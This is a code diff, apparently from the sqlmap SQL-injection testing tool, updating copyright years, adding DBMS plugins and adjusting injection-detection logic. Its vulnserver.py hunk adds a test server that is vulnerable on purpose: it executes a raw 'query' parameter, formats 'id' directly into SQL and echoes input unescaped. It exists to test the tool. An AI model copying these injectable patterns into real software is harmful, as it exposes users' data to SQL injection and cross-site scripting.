 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
@@ -132,13 +132,13 @@ To get a list of basic options and switches use:
 
 ::
 
-    python sqlmap.py -h
+    sqlmap -h
 
 To get a list of all options and switches use:
 
 ::
 
-    python sqlmap.py -hh
+    sqlmap -hh
 
 You can find a sample run `here <https://asciinema.org/a/46601>`__. To
 get an overview of sqlmap capabilities, list of supported features and

extra/vulnserver/__init__.py

@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 

extra/vulnserver/vulnserver.py

@@ -3,20 +3,23 @@
 """
 vulnserver.py - Trivial SQLi vulnerable HTTP server (Note: for testing purposes)
 
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
 from __future__ import print_function
 
+import json
 import re
 import sqlite3
 import sys
 import threading
 import traceback
 
-if sys.version_info >= (3, 0):
+PY3 = sys.version_info >= (3, 0)
-    from http.client import FOUND
+UNICODE_ENCODING = "utf-8"
+
+if PY3:
     from http.client import INTERNAL_SERVER_ERROR
     from http.client import NOT_FOUND
     from http.client import OK
@@ -28,7 +31,6 @@ if sys.version_info >= (3, 0):
 else:
     from BaseHTTPServer import BaseHTTPRequestHandler
     from BaseHTTPServer import HTTPServer
-    from httplib import FOUND
     from httplib import INTERNAL_SERVER_ERROR
     from httplib import NOT_FOUND
     from httplib import OK
@@ -95,48 +97,82 @@ class ReqHandler(BaseHTTPRequestHandler):
                 self.send_response(INTERNAL_SERVER_ERROR)
                 self.send_header("Connection", "close")
                 self.end_headers()
-                self.wfile.write("CLOUDFLARE_ERROR_500S_BOX".encode("utf8"))
+                self.wfile.write("CLOUDFLARE_ERROR_500S_BOX".encode(UNICODE_ENCODING))
                 return
 
         if hasattr(self, "data"):
-            params.update(parse_qs(self.data))
+            if self.data.startswith('{') and self.data.endswith('}'):
+                params.update(json.loads(self.data))
+            elif self.data.startswith('<') and self.data.endswith('>'):
+                params.update(dict((_[0], _[1].replace("&apos;", "'").replace("&quot;", '"').replace("&lt;", '<').replace("&gt;", '>').replace("&amp;", '&')) for _ in re.findall(r'name="([^"]+)" value="([^"]*)"', self.data)))
+            else:
+                params.update(parse_qs(self.data))
+
+        for name in self.headers:
+            params[name.lower()] = self.headers[name]
+
+        if "cookie" in params:
+            for part in params["cookie"].split(';'):
+                part = part.strip()
+                if '=' in part:
+                    name, value = part.split('=', 1)
+                    params[name.strip()] = unquote_plus(value.strip())
 
         for key in params:
-            if params[key]:
+            if params[key] and isinstance(params[key], (tuple, list)):
                 params[key] = params[key][-1]
 
         self.url, self.params = path, params
 
         if self.url == '/':
-            if "id" not in params:
+
-                self.send_response(FOUND)
+            if not any(_ in self.params for _ in ("id", "query")):
-                self.send_header("Connection", "close")
-                self.send_header("Location", "/?id=1")
-                self.end_headers()
-            else:
                 self.send_response(OK)
-                self.send_header("Content-type", "text/html")
+                self.send_header("Content-type", "text/html; charset=%s" % UNICODE_ENCODING)
                 self.send_header("Connection", "close")
                 self.end_headers()
+                self.wfile.write(b"<html><p><h3>GET:</h3><a href='/?id=1'>link</a></p><hr><p><h3>POST:</h3><form method='post'>ID: <input type='text' name='id'><input type='submit' value='Submit'></form></p></html>")
+            else:
+                code, output = OK, ""
 
                 try:
+
+                    if self.params.get("echo", ""):
+                        output += "%s<br>" % self.params["echo"]
+
                     with _lock:
-                        _cursor.execute("SELECT * FROM users WHERE id=%s LIMIT 0, 1" % self.params.get("id", ""))
+                        if "query" in self.params:
+                            _cursor.execute(self.params["query"])
+                        elif "id" in self.params:
+                            _cursor.execute("SELECT * FROM users WHERE id=%s LIMIT 0, 1" % self.params["id"])
                         results = _cursor.fetchall()
 
-                    output = "<b>SQL results:</b>\n"
+                    output += "<b>SQL results:</b>\n"
                     output += "<table border=\"1\">\n"
+
                     for row in results:
                         output += "<tr>"
                         for value in row:
                             output += "<td>%s</td>" % value
                         output += "</tr>\n"
+
                     output += "</table>\n"
                     output += "</body></html>"
                 except Exception as ex:
+                    code = INTERNAL_SERVER_ERROR
                     output = "%s: %s" % (re.search(r"'([^']+)'", str(type(ex))).group(1), ex)
 
-                self.wfile.write(output.encode("utf8"))
+                self.send_response(code)
+
+                self.send_header("Content-type", "text/html")
+                self.send_header("Connection", "close")
+
+                if self.raw_requestline.startswith(b"HEAD"):
+                    self.send_header("Content-Length", str(len(output)))
+                    self.end_headers()
+                else:
+                    self.end_headers()
+                    self.wfile.write(output if isinstance(output, bytes) else output.encode(UNICODE_ENCODING))
         else:
             self.send_response(NOT_FOUND)
             self.send_header("Connection", "close")
@@ -145,12 +181,37 @@ class ReqHandler(BaseHTTPRequestHandler):
     def do_GET(self):
         self.do_REQUEST()
 
+    def do_PUT(self):
+        self.do_REQUEST()
+
+    def do_HEAD(self):
+        self.do_REQUEST()
+
     def do_POST(self):
         length = int(self.headers.get("Content-length", 0))
         if length:
             data = self.rfile.read(length)
-            data = unquote_plus(data.decode("utf8"))
+            data = unquote_plus(data.decode(UNICODE_ENCODING, "ignore"))
             self.data = data
+        elif self.headers.get("Transfer-encoding") == "chunked":
+            data, line = b"", b""
+            count = 0
+
+            while True:
+                line += self.rfile.read(1)
+                if line.endswith(b'\n'):
+                    if count % 2 == 1:
+                        current = line.rstrip(b"\r\n")
+                        if not current:
+                            break
+                        else:
+                            data += current
+
+                    count += 1
+                    line = b""
+
+            self.data = data.decode(UNICODE_ENCODING, "ignore")
+
         self.do_REQUEST()
 
     def log_message(self, format, *args):

lib/__init__.py

@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 

lib/controller/__init__.py

@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 

lib/controller/action.py

@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
@@ -181,7 +181,10 @@ def action():
             raise
 
     if conf.sqlQuery:
-        conf.dumper.sqlQuery(conf.sqlQuery, conf.dbmsHandler.sqlQuery(conf.sqlQuery))
+        for query in conf.sqlQuery.strip(';').split(';'):
+            query = query.strip()
+            if query:
+                conf.dumper.sqlQuery(query, conf.dbmsHandler.sqlQuery(query))
 
     if conf.sqlShell:
         conf.dbmsHandler.sqlShell()

lib/controller/checks.py

@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
@@ -30,6 +30,7 @@ from lib.core.common import getSortedInjectionTests
 from lib.core.common import hashDBRetrieve
 from lib.core.common import hashDBWrite
 from lib.core.common import intersect
+from lib.core.common import joinValue
 from lib.core.common import listToStrValue
 from lib.core.common import parseFilePaths
 from lib.core.common import popValue
@@ -44,6 +45,7 @@ from lib.core.common import unArrayizeValue
 from lib.core.common import wasLastResponseDBMSError
 from lib.core.common import wasLastResponseHTTPError
 from lib.core.compat import xrange
+from lib.core.convert import getBytes
 from lib.core.convert import getUnicode
 from lib.core.data import conf
 from lib.core.data import kb
@@ -52,6 +54,7 @@ from lib.core.datatype import AttribDict
 from lib.core.datatype import InjectionDict
 from lib.core.decorators import stackedmethod
 from lib.core.dicts import FROM_DUMMY_TABLE
+from lib.core.dicts import HEURISTIC_NULL_EVAL
 from lib.core.enums import DBMS
 from lib.core.enums import HASHDB_KEYS
 from lib.core.enums import HEURISTIC_TEST
@@ -73,6 +76,7 @@ from lib.core.settings import BOUNDED_INJECTION_MARKER
 from lib.core.settings import CANDIDATE_SENTENCE_MIN_LENGTH
 from lib.core.settings import CHECK_INTERNET_ADDRESS
 from lib.core.settings import CHECK_INTERNET_VALUE
+from lib.core.settings import DEFAULT_COOKIE_DELIMITER
 from lib.core.settings import DEFAULT_GET_POST_DELIMITER
 from lib.core.settings import DUMMY_NON_SQLI_CHECK_APPENDIX
 from lib.core.settings import FI_ERROR_REGEX
@@ -94,6 +98,7 @@ from lib.core.settings import UNICODE_ENCODING
 from lib.core.settings import UPPER_RATIO_BOUND
 from lib.core.settings import URI_HTTP_HEADER
 from lib.core.threads import getCurrentThreadData
+from lib.core.unescaper import unescaper
 from lib.request.connect import Connect as Request
 from lib.request.comparison import comparison
 from lib.request.inject import checkBooleanExpression
@@ -152,7 +157,7 @@ def checkSqlInjection(place, parameter, value):
                 # payload), ask the user to limit the tests to the fingerprinted
                 # DBMS
                 if kb.reduceTests is None and not conf.testFilter and (intersect(Backend.getErrorParsedDBMSes(), SUPPORTED_DBMS, True) or kb.heuristicDbms or injection.dbms):
-                    msg = "it looks like the back-end DBMS is '%s'. " % (Format.getErrorParsedDBMSes() or kb.heuristicDbms or injection.dbms)
+                    msg = "it looks like the back-end DBMS is '%s'. " % (Format.getErrorParsedDBMSes() or kb.heuristicDbms or joinValue(injection.dbms, '/'))
                     msg += "Do you want to skip test payloads specific for other DBMSes? [Y/n]"
                     kb.reduceTests = (Backend.getErrorParsedDBMSes() or [kb.heuristicDbms]) if readInput(msg, default='Y', boolean=True) else []
 
@@ -162,7 +167,7 @@ def checkSqlInjection(place, parameter, value):
             # regardless of --level and --risk values provided
             if kb.extendTests is None and not conf.testFilter and (conf.level < 5 or conf.risk < 3) and (intersect(Backend.getErrorParsedDBMSes(), SUPPORTED_DBMS, True) or kb.heuristicDbms or injection.dbms):
                 msg = "for the remaining tests, do you want to include all tests "
-                msg += "for '%s' extending provided " % (Format.getErrorParsedDBMSes() or kb.heuristicDbms or injection.dbms)
+                msg += "for '%s' extending provided " % (Format.getErrorParsedDBMSes() or kb.heuristicDbms or joinValue(injection.dbms, '/'))
                 msg += "level (%d)" % conf.level if conf.level < 5 else ""
                 msg += " and " if conf.level < 5 and conf.risk < 3 else ""
                 msg += "risk (%d)" % conf.risk if conf.risk < 3 else ""
@@ -516,8 +521,6 @@ def checkSqlInjection(place, parameter, value):
                                 except (MemoryError, OverflowError):
                                     pass
 
-                            kb.prevFalsePage = falsePage
-
                             # Perform the test's True request
                             trueResult = Request.queryPage(reqPayload, place, raise404=False)
                             truePage, trueHeaders, trueCode = threadData.lastComparisonPage or "", threadData.lastComparisonHeaders, threadData.lastComparisonCode
@@ -598,7 +601,7 @@ def checkSqlInjection(place, parameter, value):
                                         if candidates:
                                             candidates = sorted(candidates, key=len)
                                             for candidate in candidates:
-                                                if re.match(r"\A\w+\Z", candidate):
+                                                if re.match(r"\A\w{2,}\Z", candidate):  # Note: length of 1 (e.g. --string=5) could cause trouble, especially in error message pages with partially reflected payload content
                                                     break
 
                                             conf.string = candidate
@@ -785,8 +788,12 @@ def checkSqlInjection(place, parameter, value):
                                 infoMsg = "executing alerting shell command(s) ('%s')" % conf.alert
                                 logger.info(infoMsg)
 
-                                process = subprocess.Popen(conf.alert.encode(sys.getfilesystemencoding() or UNICODE_ENCODING), shell=True)
+                                try:
-                                process.wait()
+                                    process = subprocess.Popen(getBytes(conf.alert, sys.getfilesystemencoding() or UNICODE_ENCODING), shell=True)
+                                    process.wait()
+                                except Exception as ex:
+                                    errMsg = "error occurred while executing '%s' ('%s')" % (conf.alert, getSafeExString(ex))
+                                    logger.error(errMsg)
 
                             kb.alerted = True
 
@@ -875,13 +882,14 @@ def heuristicCheckDbms(injection):
 
     for dbms in getPublicTypeMembers(DBMS, True):
         randStr1, randStr2 = randomStr(), randomStr()
+
         Backend.forceDbms(dbms)
 
-        if conf.noEscape and dbms not in FROM_DUMMY_TABLE:
+        if (randStr1 in unescaper.escape("'%s'" % randStr1)) and list(FROM_DUMMY_TABLE.values()).count(FROM_DUMMY_TABLE.get(dbms, "")) != 1:
             continue
 
         if checkBooleanExpression("(SELECT '%s'%s)=%s%s%s" % (randStr1, FROM_DUMMY_TABLE.get(dbms, ""), SINGLE_QUOTE_MARKER, randStr1, SINGLE_QUOTE_MARKER)):
-            if not checkBooleanExpression("(SELECT '%s'%s)=%s%s%s" % (randStr1, FROM_DUMMY_TABLE.get(dbms, ""), SINGLE_QUOTE_MARKER, randStr2, SINGLE_QUOTE_MARKER)):
+            if dbms in HEURISTIC_NULL_EVAL and checkBooleanExpression("(SELECT %s%s) IS NULL" % (HEURISTIC_NULL_EVAL[dbms], FROM_DUMMY_TABLE.get(dbms, ""))) or not checkBooleanExpression("(SELECT '%s'%s)=%s%s%s" % (randStr1, FROM_DUMMY_TABLE.get(dbms, ""), SINGLE_QUOTE_MARKER, randStr2, SINGLE_QUOTE_MARKER)):
                 retVal = dbms
                 break
 
@@ -924,6 +932,9 @@ def checkFalsePositives(injection):
                 randInt1 = min(randInt1, randInt2, randInt3)
                 randInt3 = max(randInt1, randInt2, randInt3)
 
+                if conf.string and any(conf.string in getUnicode(_) for _ in (randInt1, randInt2, randInt3)):
+                    continue
+
                 if randInt3 > randInt2 > randInt1:
                     break
 
@@ -1098,6 +1109,7 @@ def heuristicCheckSqlInjection(place, parameter):
         logger.warn(infoMsg)
 
     kb.heuristicMode = True
+    kb.disableHtmlDecoding = True
 
     randStr1, randStr2 = randomStr(NON_SQLI_CHECK_PREFIX_SUFFIX_LENGTH), randomStr(NON_SQLI_CHECK_PREFIX_SUFFIX_LENGTH)
     value = "%s%s%s" % (randStr1, DUMMY_NON_SQLI_CHECK_APPENDIX, randStr2)
@@ -1117,6 +1129,7 @@ def heuristicCheckSqlInjection(place, parameter):
             logger.info(infoMsg)
             break
 
+    kb.disableHtmlDecoding = False
     kb.heuristicMode = False
 
     return kb.heuristicTest
@@ -1511,8 +1524,9 @@ def checkConnection(suppressOutput=False):
             conf.disablePrecon = True
 
         if not kb.originalPage and wasLastResponseHTTPError():
-            errMsg = "unable to retrieve page content"
+            if getLastRequestHTTPError() not in (conf.ignoreCode or []):
-            raise SqlmapConnectionException(errMsg)
+                errMsg = "unable to retrieve page content"
+                raise SqlmapConnectionException(errMsg)
         elif wasLastResponseDBMSError():
             warnMsg = "there is a DBMS error found in the HTTP response body "
             warnMsg += "which could interfere with the results of the tests"
@@ -1559,6 +1573,16 @@ def checkConnection(suppressOutput=False):
         kb.originalPage = kb.pageTemplate = threadData.lastPage
         kb.originalCode = threadData.lastCode
 
+    if conf.cj and not conf.cookie and not conf.dropSetCookie:
+        candidate = DEFAULT_COOKIE_DELIMITER.join("%s=%s" % (_.name, _.value) for _ in conf.cj)
+
+        message = "you have not declared cookie(s), while "
+        message += "server wants to set its own ('%s'). " % re.sub(r"(=[^=;]{10}[^=;])[^=;]+([^=;]{10})", r"\g<1>...\g<2>", candidate)
+        message += "Do you want to use those [Y/n] "
+        if readInput(message, default='Y', boolean=True):
+            kb.mergeCookies = True
+            conf.httpHeaders.append((HTTP_HEADER.COOKIE, candidate))
+
     return True
 
 def checkInternet():

lib/controller/controller.py

@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
@@ -31,10 +31,12 @@ from lib.core.common import getSafeExString
 from lib.core.common import hashDBRetrieve
 from lib.core.common import hashDBWrite
 from lib.core.common import intersect
+from lib.core.common import isDigit
 from lib.core.common import isListLike
 from lib.core.common import parseTargetUrl
 from lib.core.common import popValue
 from lib.core.common import pushValue
+from lib.core.common import randomInt
 from lib.core.common import randomStr
 from lib.core.common import readInput
 from lib.core.common import removePostHintPrefix
@@ -56,6 +58,7 @@ from lib.core.enums import NOTE
 from lib.core.enums import PAYLOAD
 from lib.core.enums import PLACE
 from lib.core.exception import SqlmapBaseException
+from lib.core.exception import SqlmapConnectionException
 from lib.core.exception import SqlmapNoneDataException
 from lib.core.exception import SqlmapNotVulnerableException
 from lib.core.exception import SqlmapSilentQuitException
@@ -129,7 +132,7 @@ def _selectInjection():
         message += "[q] Quit"
         choice = readInput(message, default='0').upper()
 
-        if choice.isdigit() and int(choice) < len(kb.injections) and int(choice) >= 0:
+        if isDigit(choice) and int(choice) < len(kb.injections) and int(choice) >= 0:
             index = int(choice)
         elif choice == 'Q':
             raise SqlmapUserQuitException
@@ -202,10 +205,11 @@ def _randomFillBlankFields(value):
             for match in re.finditer(EMPTY_FORM_FIELDS_REGEX, retVal):
                 item = match.group("result")
                 if not any(_ in item for _ in IGNORE_PARAMETERS) and not re.search(ASP_NET_CONTROL_REGEX, item):
+                    newValue = randomStr() if not re.search(r"^id|id$", item, re.I) else randomInt()
                     if item[-1] == DEFAULT_GET_POST_DELIMITER:
-                        retVal = retVal.replace(item, "%s%s%s" % (item[:-1], randomStr(), DEFAULT_GET_POST_DELIMITER))
+                        retVal = retVal.replace(item, "%s%s%s" % (item[:-1], newValue, DEFAULT_GET_POST_DELIMITER))
                     else:
-                        retVal = retVal.replace(item, "%s%s" % (item, randomStr()))
+                        retVal = retVal.replace(item, "%s%s" % (item, newValue))
 
     return retVal
 
@@ -256,13 +260,9 @@ def _saveToResultsFile():
             line = "%s,%s,%s,%s,%s%s" % (safeCSValue(kb.originalUrls.get(conf.url) or conf.url), place, parameter, "".join(techniques[_][0].upper() for _ in sorted(value)), notes, os.linesep)
             conf.resultsFP.write(line)
 
-        if not results:
-            line = "%s,,,,%s" % (conf.url, os.linesep)
-            conf.resultsFP.write(line)
-
         conf.resultsFP.flush()
     except IOError as ex:
-        errMsg = "unable to write to the results file '%s' ('%s'). " % (conf.resultsFilename, getSafeExString(ex))
+        errMsg = "unable to write to the results file '%s' ('%s'). " % (conf.resultsFile, getSafeExString(ex))
         raise SqlmapSystemException(errMsg)
 
 @stackedmethod
@@ -292,7 +292,7 @@ def start():
         return False
 
     if kb.targets and len(kb.targets) > 1:
-        infoMsg = "sqlmap got a total of %d targets" % len(kb.targets)
+        infoMsg = "found a total of %d targets" % len(kb.targets)
         logger.info(infoMsg)
 
     hostCount = 0
@@ -300,7 +300,6 @@ def start():
 
     for targetUrl, targetMethod, targetData, targetCookie, targetHeaders in kb.targets:
         try:
-
             if conf.checkInternet:
                 infoMsg = "checking for Internet connection"
                 logger.info(infoMsg)
@@ -309,14 +308,23 @@ def start():
                     warnMsg = "[%s] [WARNING] no connection detected" % time.strftime("%X")
                     dataToStdout(warnMsg)
 
-                    while not checkInternet():
+                    valid = False
-                        dataToStdout('.')
+                    for _ in xrange(conf.retries):
-                        time.sleep(5)
+                        if checkInternet():
+                            valid = True
+                            break
+                        else:
+                            dataToStdout('.')
+                            time.sleep(5)
 
-                    dataToStdout("\n")
+                    if not valid:
+                        errMsg = "please check your Internet connection and rerun"
+                        raise SqlmapConnectionException(errMsg)
+                    else:
+                        dataToStdout("\n")
 
             conf.url = targetUrl
-            conf.method = targetMethod.upper() if targetMethod else targetMethod
+            conf.method = targetMethod.upper().strip() if targetMethod else targetMethod
             conf.data = targetData
             conf.cookie = targetCookie
             conf.httpHeaders = list(initialHeaders)
@@ -374,7 +382,7 @@ def start():
                     message += "\nCookie: %s" % conf.cookie
 
                 if conf.data is not None:
-                    message += "\n%s data: %s" % ((conf.method if conf.method != HTTPMETHOD.GET else conf.method) or HTTPMETHOD.POST, urlencode(conf.data) if conf.data else "")
+                    message += "\n%s data: %s" % ((conf.method if conf.method != HTTPMETHOD.GET else conf.method) or HTTPMETHOD.POST, urlencode(conf.data or "") if re.search(r"\A\s*[<{]", conf.data or "") is None else conf.data)
 
                 if conf.forms and conf.method:
                     if conf.method == HTTPMETHOD.GET and targetUrl.find("?") == -1:
@@ -389,7 +397,7 @@ def start():
                         break
                     else:
                         if conf.method != HTTPMETHOD.GET:
-                            message = "Edit %s data [default: %s]%s: " % (conf.method, urlencode(conf.data) if conf.data else "None", " (Warning: blank fields detected)" if conf.data and extractRegexResult(EMPTY_FORM_FIELDS_REGEX, conf.data) else "")
+                            message = "Edit %s data [default: %s]%s: " % (conf.method, urlencode(conf.data or "") if re.search(r"\A\s*[<{]", conf.data or "None") is None else conf.data, " (Warning: blank fields detected)" if conf.data and extractRegexResult(EMPTY_FORM_FIELDS_REGEX, conf.data) else "")
                             conf.data = readInput(message, default=conf.data)
                             conf.data = _randomFillBlankFields(conf.data)
                             conf.data = urldecode(conf.data) if conf.data and urlencode(DEFAULT_GET_POST_DELIMITER, None) not in conf.data else conf.data
@@ -458,18 +466,18 @@ def start():
                 for place in parameters:
                     # Test User-Agent and Referer headers only if
                     # --level >= 3
-                    skip = (place == PLACE.USER_AGENT and conf.level < 3)
+                    skip = (place == PLACE.USER_AGENT and (kb.testOnlyCustom or conf.level < 3))
-                    skip |= (place == PLACE.REFERER and conf.level < 3)
+                    skip |= (place == PLACE.REFERER and (kb.testOnlyCustom or conf.level < 3))
 
                     # --param-filter
                     skip |= (len(conf.paramFilter) > 0 and place.upper() not in conf.paramFilter)
 
                     # Test Host header only if
                     # --level >= 5
-                    skip |= (place == PLACE.HOST and conf.level < 5)
+                    skip |= (place == PLACE.HOST and (kb.testOnlyCustom or conf.level < 5))
 
                     # Test Cookie header only if --level >= 2
-                    skip |= (place == PLACE.COOKIE and conf.level < 2)
+                    skip |= (place == PLACE.COOKIE and (kb.testOnlyCustom or conf.level < 2))
 
                     skip |= (place == PLACE.USER_AGENT and intersect(USER_AGENT_ALIASES, conf.skip, True) not in ([], None))
                     skip |= (place == PLACE.REFERER and intersect(REFERER_ALIASES, conf.skip, True) not in ([], None))
@@ -484,9 +492,6 @@ def start():
                     if skip:
                         continue
 
-                    if kb.testOnlyCustom and place not in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER):
-                        continue
-
                     if place not in conf.paramDict:
                         continue
 
@@ -740,9 +745,9 @@ def start():
         logger.info("fetched data logged to text files under '%s'" % conf.outputPath)
 
     if conf.multipleTargets:
-        if conf.resultsFilename:
+        if conf.resultsFile:
             infoMsg = "you can find results of scanning in multiple targets "
-            infoMsg += "mode inside the CSV file '%s'" % conf.resultsFilename
+            infoMsg += "mode inside the CSV file '%s'" % conf.resultsFile
             logger.info(infoMsg)
 
     return True

lib/controller/handler.py

@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
@@ -11,47 +11,68 @@ from lib.core.data import kb
 from lib.core.dicts import DBMS_DICT
 from lib.core.enums import DBMS
 from lib.core.exception import SqlmapConnectionException
+from lib.core.settings import ACCESS_ALIASES
+from lib.core.settings import ALTIBASE_ALIASES
+from lib.core.settings import DB2_ALIASES
+from lib.core.settings import DERBY_ALIASES
+from lib.core.settings import FIREBIRD_ALIASES
+from lib.core.settings import H2_ALIASES
+from lib.core.settings import HSQLDB_ALIASES
+from lib.core.settings import INFORMIX_ALIASES
+from lib.core.settings import MAXDB_ALIASES
+from lib.core.settings import MCKOI_ALIASES
+from lib.core.settings import MIMERSQL_ALIASES
+from lib.core.settings import MONETDB_ALIASES
 from lib.core.settings import MSSQL_ALIASES
 from lib.core.settings import MYSQL_ALIASES
 from lib.core.settings import ORACLE_ALIASES
 from lib.core.settings import PGSQL_ALIASES
+from lib.core.settings import PRESTO_ALIASES
 from lib.core.settings import SQLITE_ALIASES
-from lib.core.settings import ACCESS_ALIASES
-from lib.core.settings import FIREBIRD_ALIASES
-from lib.core.settings import MAXDB_ALIASES
 from lib.core.settings import SYBASE_ALIASES
-from lib.core.settings import DB2_ALIASES
+from lib.core.settings import VERTICA_ALIASES
-from lib.core.settings import HSQLDB_ALIASES
-from lib.core.settings import H2_ALIASES
-from lib.core.settings import INFORMIX_ALIASES
 from lib.utils.sqlalchemy import SQLAlchemy
 
-from plugins.dbms.mssqlserver import MSSQLServerMap
-from plugins.dbms.mssqlserver.connector import Connector as MSSQLServerConn
-from plugins.dbms.mysql import MySQLMap
-from plugins.dbms.mysql.connector import Connector as MySQLConn
-from plugins.dbms.oracle import OracleMap
-from plugins.dbms.oracle.connector import Connector as OracleConn
-from plugins.dbms.postgresql import PostgreSQLMap
-from plugins.dbms.postgresql.connector import Connector as PostgreSQLConn
-from plugins.dbms.sqlite import SQLiteMap
-from plugins.dbms.sqlite.connector import Connector as SQLiteConn
-from plugins.dbms.access import AccessMap
 from plugins.dbms.access.connector import Connector as AccessConn
-from plugins.dbms.firebird import FirebirdMap
+from plugins.dbms.access import AccessMap
-from plugins.dbms.firebird.connector import Connector as FirebirdConn
+from plugins.dbms.altibase.connector import Connector as AltibaseConn
-from plugins.dbms.maxdb import MaxDBMap
+from plugins.dbms.altibase import AltibaseMap
-from plugins.dbms.maxdb.connector import Connector as MaxDBConn
-from plugins.dbms.sybase import SybaseMap
-from plugins.dbms.sybase.connector import Connector as SybaseConn
-from plugins.dbms.db2 import DB2Map
 from plugins.dbms.db2.connector import Connector as DB2Conn
-from plugins.dbms.hsqldb import HSQLDBMap
+from plugins.dbms.db2 import DB2Map
-from plugins.dbms.hsqldb.connector import Connector as HSQLDBConn
+from plugins.dbms.derby.connector import Connector as DerbyConn
-from plugins.dbms.h2 import H2Map
+from plugins.dbms.derby import DerbyMap
+from plugins.dbms.firebird.connector import Connector as FirebirdConn
+from plugins.dbms.firebird import FirebirdMap
 from plugins.dbms.h2.connector import Connector as H2Conn
-from plugins.dbms.informix import InformixMap
+from plugins.dbms.h2 import H2Map
+from plugins.dbms.hsqldb.connector import Connector as HSQLDBConn
+from plugins.dbms.hsqldb import HSQLDBMap
 from plugins.dbms.informix.connector import Connector as InformixConn
+from plugins.dbms.informix import InformixMap
+from plugins.dbms.maxdb.connector import Connector as MaxDBConn
+from plugins.dbms.maxdb import MaxDBMap
+from plugins.dbms.mckoi.connector import Connector as MckoiConn
+from plugins.dbms.mckoi import MckoiMap
+from plugins.dbms.mimersql.connector import Connector as MimerSQLConn
+from plugins.dbms.mimersql import MimerSQLMap
+from plugins.dbms.monetdb.connector import Connector as MonetDBConn
+from plugins.dbms.monetdb import MonetDBMap
+from plugins.dbms.mssqlserver.connector import Connector as MSSQLServerConn
+from plugins.dbms.mssqlserver import MSSQLServerMap
+from plugins.dbms.mysql.connector import Connector as MySQLConn
+from plugins.dbms.mysql import MySQLMap
+from plugins.dbms.oracle.connector import Connector as OracleConn
+from plugins.dbms.oracle import OracleMap
+from plugins.dbms.postgresql.connector import Connector as PostgreSQLConn
+from plugins.dbms.postgresql import PostgreSQLMap
+from plugins.dbms.presto.connector import Connector as PrestoConn
+from plugins.dbms.presto import PrestoMap
+from plugins.dbms.sqlite.connector import Connector as SQLiteConn
+from plugins.dbms.sqlite import SQLiteMap
+from plugins.dbms.sybase.connector import Connector as SybaseConn
+from plugins.dbms.sybase import SybaseMap
+from plugins.dbms.vertica.connector import Connector as VerticaConn
+from plugins.dbms.vertica import VerticaMap
 
 def setHandler():
     """
@@ -73,6 +94,13 @@ def setHandler():
         (DBMS.HSQLDB, HSQLDB_ALIASES, HSQLDBMap, HSQLDBConn),
         (DBMS.H2, H2_ALIASES, H2Map, H2Conn),
         (DBMS.INFORMIX, INFORMIX_ALIASES, InformixMap, InformixConn),
+        (DBMS.MONETDB, MONETDB_ALIASES, MonetDBMap, MonetDBConn),
+        (DBMS.DERBY, DERBY_ALIASES, DerbyMap, DerbyConn),
+        (DBMS.VERTICA, VERTICA_ALIASES, VerticaMap, VerticaConn),
+        (DBMS.MCKOI, MCKOI_ALIASES, MckoiMap, MckoiConn),
+        (DBMS.PRESTO, PRESTO_ALIASES, PrestoMap, PrestoConn),
+        (DBMS.ALTIBASE, ALTIBASE_ALIASES, AltibaseMap, AltibaseConn),
+        (DBMS.MIMERSQL, MIMERSQL_ALIASES, MimerSQLMap, MimerSQLConn),
     ]
 
     _ = max(_ if (conf.get("dbms") or Backend.getIdentifiedDbms() or kb.heuristicExtendedDbms or "").lower() in _[1] else () for _ in items)

lib/core/__init__.py

@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 

lib/core/agent.py

@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
@@ -13,6 +13,7 @@ from lib.core.common import filterNone
 from lib.core.common import getSQLSnippet
 from lib.core.common import getTechnique
 from lib.core.common import getTechniqueData
+from lib.core.common import hashDBRetrieve
 from lib.core.common import isDBMSVersionAtLeast
 from lib.core.common import isNumber
 from lib.core.common import isTechniqueAvailable
@@ -34,6 +35,8 @@ from lib.core.data import queries
 from lib.core.dicts import DUMP_DATA_PREPROCESS
 from lib.core.dicts import FROM_DUMMY_TABLE
 from lib.core.enums import DBMS
+from lib.core.enums import FORK
+from lib.core.enums import HASHDB_KEYS
